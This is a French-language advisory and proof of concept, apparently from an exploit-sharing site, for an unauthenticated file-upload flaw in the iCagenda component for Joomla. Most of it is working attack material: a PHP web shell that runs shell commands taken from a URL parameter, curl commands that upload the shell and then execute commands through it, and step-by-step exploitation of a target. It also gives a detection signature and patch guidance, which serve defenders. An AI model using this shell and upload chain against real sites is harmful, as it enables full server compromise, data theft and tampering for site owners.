CVE-2026-48939 - iCagenda Téléchargement de fichier non authentifié menant à une exécution de code à distance (RCE)

Aperçu

Description de la vulnérabilité

iCagenda, un composant populaire d'événements et de calendrier pour Joomla, contient une vulnérabilité de téléchargement de fichier non authentifié qui permet à des attaquants distants de télécharger et d'exécuter du code PHP arbitraire sur les sites Joomla 6.

Détails techniques

La vulnérabilité existe dans la fonctionnalité de pièce jointe du formulaire de soumission d'événement côté frontend :

1. Absence de contrôle d'accès : Le point de terminaison de soumission (index.php?option=com_icagenda&task=registration.submit) n'impose pas d'authentification, contournant ainsi le paramètre d'accès « Réservé aux membres ».

2. Aucune validation de fichier : Les fichiers téléchargés sont enregistrés avec leur extension d'origine sans :

   • Validation d'une liste blanche d'extensions
   • Vérification du type MIME
   • Inspection du contenu du fichier

3. Écriture directe de fichier : Les fichiers sont écrits dans /images/icagenda/frontend/attachments/[filename] directement sous la racine web.

4. Exécution PHP : Sur Joomla 6, les fichiers .php téléchargés sont exécutables, menant à une exécution de code à distance (RCE).

Preuve de concept

Méthode 1 : Utilisation de curl (Commande unique)

# Créer une charge utile de shell PHP
cat > /tmp/shell.php << 'EOF'
<?php
echo "CVE-2026-48939 - SHELL ACTIVE\n";
if(isset($_GET['cmd'])) {
    echo shell_exec($_GET['cmd'] . " 2>&1");
}
?>
EOF

# Télécharger le shell
curl -k -s \
  -F "title=Test Event" \
  -F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \
  "https://poloss-jomola.ddev.site/icagenda_submit.php"

# Exécuter des commandes via le shell téléchargé
curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami"

Méthode 2 : Utilisation du script PoC

# Naviguer vers le répertoire du projet

# Exécuter le script PoC
./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site

Étapes d'exploitation

1. Identifier le point de terminaison vulnérable :

   root@kitploit:~

   https://target.com/index.php?option=com_icagenda&task=submit
   

2. Télécharger un webshell PHP :

   root@kitploit:~

   curl -X POST -F "jform[attachment][email protected]" \
     "https://target.com/index.php?option=com_icagenda&task=submit"
   

3. Exécuter le shell :

   root@kitploit:~

   curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id"
   

Impact

• Confidentialité : Perte totale de confidentialité - l'attaquant peut lire tous les fichiers
• Intégrité : Perte totale d'intégrité - l'attaquant peut modifier toutes les données
• Disponibilité : Perte totale de disponibilité - l'attaquant peut refuser le service
• Exécution de code à distance : Compromission totale du serveur

Signature d'attaque

Sur la base des journaux d'exploitation réels, la signature d'attaque est :

# Étape 1 : Téléchargement
POST /index.php?option=com_icagenda&task=submit
User-Agent: icagenda-batch/1.0
Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php"

# Étape 2 : Exécution
GET /images/icagenda/frontend/attachments/shell.php?cmd=...
User-Agent: icagenda-batch/1.0

Correction

1. Immédiate : Mettre à jour iCagenda vers la version 4.0.8 (ou 3.9.15 pour la branche héritée)
2. Alternative : Supprimer ou renommer temporairement les dossiers com_icagenda
3. Remarque : La désactivation du composant NE protège PAS contre cette vulnérabilité

Références

• iCagenda Zero Day RCE - mysites.guru
• iCagenda Official
• Changelog 4.0.8
• CISA ADP Advisory

Avertissement

Cette preuve de concept est uniquement destinée à des fins éducatives et de tests de sécurité autorisés. L'accès non autorisé aux systèmes informatiques est illégal.